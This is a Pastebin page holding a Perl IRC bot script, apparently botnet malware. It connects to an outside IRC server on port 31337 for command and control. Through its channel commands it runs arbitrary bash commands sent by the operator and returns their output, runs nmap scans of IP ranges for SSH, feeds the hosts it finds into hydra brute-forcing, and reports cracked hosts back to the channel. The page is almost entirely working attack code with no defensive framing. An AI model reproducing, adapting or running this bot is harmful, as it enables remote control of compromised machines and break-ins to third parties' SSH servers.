Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use IO::Socket;
- use IO::Socket::INET;
- use strict;
- use warnings;
- my $line;
- my $range = 256;
- my $random_number = int(rand($range));
- my $portatk = 22;
- my $server="imnota.dumb1.com"; # irc server
- my $porta="31337"; # port
- my $nick="z0mb$random_number";# nick
- my $canale="&Partyline"; # canale
- our $subnet;
- my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
- $sk->autoflush(1);
- print $sk "NICK $nick\r\n";
- print $sk "USER zomb$random_number 8 * :Perl bot by independent\r\n";
- print $sk "PASS temp \r\n";
- print $sk "ADDSERVER 127.0.0.1:+6697";
- while ($line = <$sk>) {
- $line =~ s/\r\n$//;
- if ($line=~ /PING/) {
- print $sk "PONG :$server\r\n";
- print $sk "JOIN $canale \r\n";
- printa("?Ping Pong!");
- }
- if ($line=~ /nospoof/) {
- print $sk "NOTICE IRC :mIRC v7.45\r\n";
- print $sk "CAP LS\r\n";
- print $sk "CAP END\r\n";
- }
- if ($line=~ /!help/) {
- printa("Scan by independent: die , cmd <bashcmd> , nmap <iprange> -pT:22 , scanlog , cracklist ");
- }
- if ($line=~ /!cracklist/)
- {
- my $file = 'xcrack.log';
- open my $fh, '<', $file or warn "Could not open '$file' $!\n";
- while (my $lines = <$fh>) {
- chomp $lines;
- if ($lines=~ /host/) {
- printa("$1");
- }
- }
- }
- if ($line=~ /!scanlog/)
- {
- my $file = 'nmap.log';
- open my $fh, '<', $file or warn "Could not open '$file' $!\n";
- while (my $lines = <$fh>) {
- chomp $lines;
- if ($lines=~ /\b(\d{1,3}(?:\.\d{1,3}){3})\b/) {
- split(/:/,$lines);
- my @cmdhydra = "/usr/bin/hydra -F -L ./user -P ./pass ssh://$1 -v -t 5 >>xcrack.log";
- system(@cmdhydra);
- }
- }
- }
- if ($line=~ /!die/)
- {
- printa("Dying...");
- my @cmd = ("pkill perl && pkill hydra");
- system(@cmd);
- }
- if ($line=~ /!cmd\s+(.*)/)
- {
- my $command = $1;
- printa("Done: $command ");
- my $cmd = "/usr/bin/bash $command";
- my @output = `$cmd 2>&1 3>&1`;
- foreach(@output) {
- printa("$_\r\n");
- }
- }
- if ($line=~ /!nmap (.+)/)
- {
- printa("[Scanning] $1");
- my @cmd = "/usr/bin/nmap -vv -Pn --open $1 >>nmap.log";
- system(@cmd);
- }
- }
- sub printa {
- print $sk "PRIVMSG $canale :9,12 $_[0]. \r\n";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement